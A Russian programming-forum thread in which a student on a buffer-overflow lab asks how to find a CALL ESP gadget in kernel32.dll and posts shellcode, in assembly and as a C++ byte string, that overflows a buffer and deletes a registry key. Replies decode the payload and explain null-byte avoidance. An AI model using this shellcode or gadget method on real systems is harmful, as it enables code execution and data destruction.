Форум программистов, компьютерный форум, киберфорум
Assembler для начинающих
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.55/29: Рейтинг темы: голосов - 29, средняя оценка - 4.55
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
1

Адрес инструкции CALL ESP

20.06.2016, 04:16. Показов 5943. Ответов 22
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.

Добавлено через 1 час 0 минут
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
push ebp
        mov ebp, esp
        lea eax, [ebp + 36]  #+байты шеллкода
        push eax
        xor eax, eax    # не читать нули
        add eax, 1
        shl eax, 31
        add eax, 1
        push eax
        mov eax, 74E93C39h  # адрес функции RegDeleteKey
        call eax
        mov eax, -1     
        push eax
        mov eax, 76C139E4h  # адрес функции ExitProcess
        call eax
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WinExec("D:\\11prjct.exe "
        "123456789012"
        // тут будет адрес возврата
        "\x55"
        "\x8B\xEC"
        "\x8D\x45\x24"      // + добавить байты для шеллкода
        "\x50"
        "\x33\xC0"      
        "\x83\xC0\x01"
        "\xC1\xE0\x1F"
        "\x83\xC0\x01"
        "\x50"
        "\xB8\xC8\xC9\xB5\x74"  // адрес функции RegDeleteKey
        "\xFF\xD0"
        "\xB8\xFF\xFF\xFF\xFF"  //  mov eax, -1
        "\x50"
        "\xB8\x64\x7F\x14\x76"  // адрес функции ExitProcess
        "\xFF\xD0"
        "test", SW_SHOW);
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
20.06.2016, 04:16
Ответы с готовыми решениями:

call [ESP] как найти?
как найти адрес call в kernel32.dll подскажите пожалуйста!!! Добавлено через 1 час 56 минут...

Инструкции mov ss:[esp], eax и push eax - одно и тоже?
Всем привет. У меня вопрос: инструкции mov ss:, eax и push eax - одно и тоже?

Падает функция CryptAcquireContext "The value of ESP was not properly saved across a function call"
Доброго времени суток, форумчане! Использую функцию из динамической библиотеки dvapi32.dll....

Что такое блоки и инструкции, вложенные инструкции и главные инструкции?
Что это такое?

22
805 / 532 / 158
Регистрация: 27.01.2015
Сообщений: 3,017
Записей в блоге: 1
20.06.2016, 11:20 2
А не проще ли сперва взять учебник по ассемблеру, получить представление об основных командах процыка, а уж потом лезть в крекинг?
0
stzer
20.06.2016, 11:35
  #3

Не по теме:

Ferrari F1, если ничего не можете сказать по теме - пройдите мимо без слов "возьми учебник". Тут человек просит не написать код, а проверить. Разницу чувствуете?

0
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 11:42  [ТС] 4
Дело в том, что это лабораторная работа. Вообще она про переполнение буфера, но в остальное понятно.
И при всём моём желании(летом книги по ассемблеру буду читать), за 2 недели разобраться проблематично. Особенно когда задачу поставили, а как делать не объяснили... Но это так, о наболевшем.
Кстати, если не сложно, посоветуйте учебник "с нуля".
Ну и всё-таки, как найти адрес инструкции CALL ESP?
0
805 / 532 / 158
Регистрация: 27.01.2015
Сообщений: 3,017
Записей в блоге: 1
20.06.2016, 12:00 5
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
как найти адрес инструкции CALL ESP?
Дело в том, что таких инструкций по ходу выполнения программы может быть хоть сколько, как я считаю.
Команда call обычно используется для вызовов процедур (вместе с этим проделываются кое-какие операции со стеком и eip, но щас не об этом).
call esp означает что будет произведен переход по адресу, который содержится в регистре esp(указатель стека).

Из этого можно считать, что таких команд (call esp) в коде может быть сколь угодно много...
1
859 / 448 / 112
Регистрация: 06.07.2013
Сообщений: 1,491
20.06.2016, 12:05 6
Цитата Сообщение от stzer Посмотреть сообщение
Разницу чувствуете?
Разницу чувствуете между C++ и ассемблером вообще
0
Неэпический
17870 / 10635 / 2054
Регистрация: 27.09.2012
Сообщений: 26,736
Записей в блоге: 1
20.06.2016, 12:07 7
MeJlaMoPu, причем здесь C++?
0
134 / 104 / 60
Регистрация: 26.10.2013
Сообщений: 312
20.06.2016, 12:16 8
Цитата Сообщение от Raali Посмотреть сообщение
Разницу чувствуете между C++ и ассемблером вообще
Где связь между моим сообщением и вашим? Покажите...

Разница в том, что если человек выкладывает код C++, ему помогают. Если выложил ассемблерный код - его посылают книги сразу читать. То, что человек написал не в той теме - ну ошибся, с кем не бывает.

И еще, некоторые программисты C++ знают ассемблер. Хотя бы на уровне __asm.
0
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 12:36  [ТС] 9
Ночью пост создавал, если можно, то перенесите в аналогичную тему в форуме ассемблера.
0
Неэпический
17870 / 10635 / 2054
Регистрация: 27.09.2012
Сообщений: 26,736
Записей в блоге: 1
20.06.2016, 12:39 10
Цитата Сообщение от stzer Посмотреть сообщение
Разница в том, что если человек выкладывает код C++, ему помогают.
Не все, не всем, не всегда.
Цитата Сообщение от stzer Посмотреть сообщение
Если выложил ассемблерный код - его посылают книги сразу читать.
По c++ тоже отсылают, что ж теперь, без этого никак
Но в данном случае, Вы тоже не помогли еще,
так что же на других кидаетесь?
Цитата Сообщение от stzer Посмотреть сообщение
То, что человек написал не в той теме - ну ошибся, с кем не бывает.
Бывает, исправили
0
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 12:56  [ТС] 11
Как мне кажется, в строке где надо указать адрес возврата надо указать адрес, который должен передать управление шелл-коду, но так как шелл-код находится в стеке, и при этом стек перезаписан, то надо просто указать на стек. А это вроде как регистр EBP. Т.е достаточно вызвать EBP, т.е CALL EBP. Эта инструкция должна быть в kernel32.dll, ей соответствует последовательность байт FF D4. Но "чистой" последовательности FF D4 там нет, есть 41 FF D4. И это не CALL ESP. Я подозреваю, что я делаю какой-то бред, но какой - не понимаю.
0
Эксперт Hardware
Эксперт Hardware
6103 / 2347 / 390
Регистрация: 29.07.2014
Сообщений: 3,108
Записей в блоге: 4
20.06.2016, 14:22 12
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
Да и их адреса почему-то постоянно меняются.
Не забывай, что ты сидишь под отладчиком, а он для своей работы юзает стек.
Поэтому и плывёт у тебя ESP:
Код
В начале показывает   -  1800BCA20, 
После переключения   -  1800BCA27, 
После переключения   -  1800BCA28,
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
Эта инструкция должна быть в kernel32.dll
..а причём здесь вообще эта библиотека? Ты исследуешь свой код или системную библиотеку?
0
Модератор
Эксперт по электронике
8908 / 6677 / 918
Регистрация: 14.02.2011
Сообщений: 23,520
20.06.2016, 14:58 13
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
xor eax, eax* * # не читать нули
странный комментарий
вообще то это обнуляет регистр eax
и комментарии в ассемблере начинаются с точки с запятой
вот так
Assembler
1
xor eax, eax ;комментарий
далее

Assembler
1
2
3
4
xor eax, eax ; eax=0;
add eax, 1  ;eax=1 //eax+=1;
shl eax, 31 ;eax=0x80000000 //eax<<=31;
add eax, 1 ; eax=0x80000001  //eax+=1;
это скорее всего оптимизатор поработал
вместо простейшего
Assembler
1
mov eax=0x80000001;
0x80000001 это HKEY_CURRENT_USER
значит все это
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
Assembler
1
2
3
4
5
6
7
8
9
lea eax, [ebp + 36]  #+байты шеллкода
push eax
xor eax, eax   # не читать нули
add eax, 1
shl eax, 31
add eax, 1
push eax
mov eax, 74E93C39h # адрес функции RegDeleteKey
call eax
на языке Си будет выглядеть как
C
1
RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);
где ebp+36 адрес где лежит строка в которой записан ключ
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
И при всём моём желании(летом книги по ассемблеру буду читать), за 2 недели разобраться проблематично.
тут годами сидишь и то не все всегда понятно
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
но так как шелл-код находится в стеке, и при этом стек перезаписан, то надо просто указать на стек. А это вроде как регистр EBP.
указатель вершины стека это esp, а ebp это вспомогательный регистр, да его используют как вспомогательный указатель стека, но можно и использовать как просто регистр
1
Модератор
Эксперт по электронике
8476 / 4335 / 1642
Регистрация: 01.02.2015
Сообщений: 13,461
Записей в блоге: 8
20.06.2016, 15:13 14
Я только краем уха слышал, что при создании шелл-кода нельзя применять настоящий 0x00, т.к. число 0 является признаком конца строки. Отсюда и все манипуляции с числами для ухода от прямого нуля в строках.
0
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 15:14  [ТС] 15
Я исследую системную библиотеку. В ней пытаюсь найти адрес инструкции CALL ESP. Но дело в том, что я сомневаюсь, что адрес найден правильно. Адрес начала образа kernel32.dll в памяти я знаю. Если я не ошибаюсь, их надо сложить, чтобы получился адрес инструкции CALL ESP в системе. Почему менялся, до меня вроде как дошло(мозг надо включать). Теперь просто хочу узнать, правильный адрес это 6B8BBE28?

Да, надо указать на регистр ESP. Надеюсь, очепятка.
Миниатюры
Адрес инструкции CALL ESP   Адрес инструкции CALL ESP   Адрес инструкции CALL ESP  

0
Модератор
Эксперт по электронике
8908 / 6677 / 918
Регистрация: 14.02.2011
Сообщений: 23,520
20.06.2016, 15:26 16
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
исследую системную библиотеку. В ней пытаюсь найти адрес инструкции CALL ESP.
а ты уверен что она там есть?

я вообще её редко встречал
0
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 15:30  [ТС] 17
Цитата Сообщение от ValeryS Посмотреть сообщение
а ты уверен что она там есть?
я вообще её редко встречал
Ну если верить всевозможным статьям из интернета, то она должна быть там. Но самое подробное описание это:
"Одна из DLL, которые использует наша программа - KERNEL32.DLL. Попробуем найти в ней инструкцию CALL [ESP] или JMP [ESP]. Этим инструкциям соответствуют последовательности байтов 0xff 0xd4 и 0xff 0xe4. Для поиска можно использовать дебагер вроде SoftICE и просмотреть всё адресное пространство программы в области, где загружена KERNEL32.DLL (эта область начинается с Image Base, указанного в файле DLL). А можно искать просто в файле KERNEL32.DLL. Тогда лучше использовать какой-нибудь специльный HEX-редактор вроде HIEW, который указывает не только смещения байтов в файле, но и адреса, по которым они будут загружены в память. Положим что инструкция CALL [ESP] нашлась по адресу 0xbff794b3 (В общем этот адрес зависит от используемой версии KERNEL32.DLL)"
0
Модератор
Эксперт по электронике
8908 / 6677 / 918
Регистрация: 14.02.2011
Сообщений: 23,520
20.06.2016, 16:11 18
Лучший ответ Сообщение было отмечено MeJlaMoPu как решение

Решение

Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
CALL [ESP]
это не совсем то, что
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
CALL ESP
точнее совсем не то
первая вызывает функцию адрес которой лежит в стеке,вторая функцию которая сама лежит в стеке
рекомендую ознакомится с автором Крис Касперски
в частности книги "Искусство дизасемблирования", и "Фундаментальные основы хакерства"
беда в том что х86 построен по архитектуре фон Немана, которая в отличии от гарвардской, позволяет держать коды и данные в одном месте, и смешение на 1 байт даст совершенно другой листинг
1
0 / 0 / 0
Регистрация: 05.06.2016
Сообщений: 10
20.06.2016, 16:25  [ТС] 19
Цитата Сообщение от ValeryS Посмотреть сообщение
точнее совсем не то
первая вызывает функцию адрес которой лежит в стеке,вторая функцию которая сама лежит в стеке
рекомендую ознакомится с автором Крис Касперски
в частности книги "Искусство дизасемблирования", и "Фундаментальные основы хакерства"
беда в том что х86 построен по архитектуре фон Немана, которая в отличии от гарвардской, позволяет держать коды и данные в одном месте, и смешение на 1 байт даст совершенно другой листинг
ОГРОМНОЕ спасибо, летом буду эти книжки читать. Как я понял, адрес CALL [ESP] из системной библиотеки извлечь проблематично, если не х86?
0
Модератор
Эксперт по электронике
8908 / 6677 / 918
Регистрация: 14.02.2011
Сообщений: 23,520
20.06.2016, 16:29 20
Цитата Сообщение от MeJlaMoPu Посмотреть сообщение
Как я понял, адрес CALL [ESP] из системной библиотеки извлечь проблематично, если не х86?
конечно потому что там может просто не быть этого регистра
но тут одна тонкость, я не знаю такой винды, которая работает не на х86
0
20.06.2016, 16:29
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
20.06.2016, 16:29
Помогаю со студенческими работами здесь

Вычислить адрес верхушки стека, адрес следующей команды, адрес переменной, адрес которой содержится в BX
Помогите решить следующие задачи: 1.Вычислить адрес верхушки стэка. 2.Вычислить адрес следующей...

Как возможно выйти в инструкции switch в начало самой инструкции при нажатии "не правильной" кнопки
В целом у меня вопрос такой: Как возможно выйти в инструкции switch в начало самой инструкции при...

Нужно засунуть код инструкции в 4 char'a так, чтобы в памяти это был код инструкции.
Доброго времени суток. Есть дизассемблированный код. Нужно засунуть код иструкции в 4 чара так,...

cannot call methods on dialog prior to initialization; attempted to call method 'close'
Добрый день! Я пытаюсь перенести вот этот пример в ASP MVC4 проект:...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru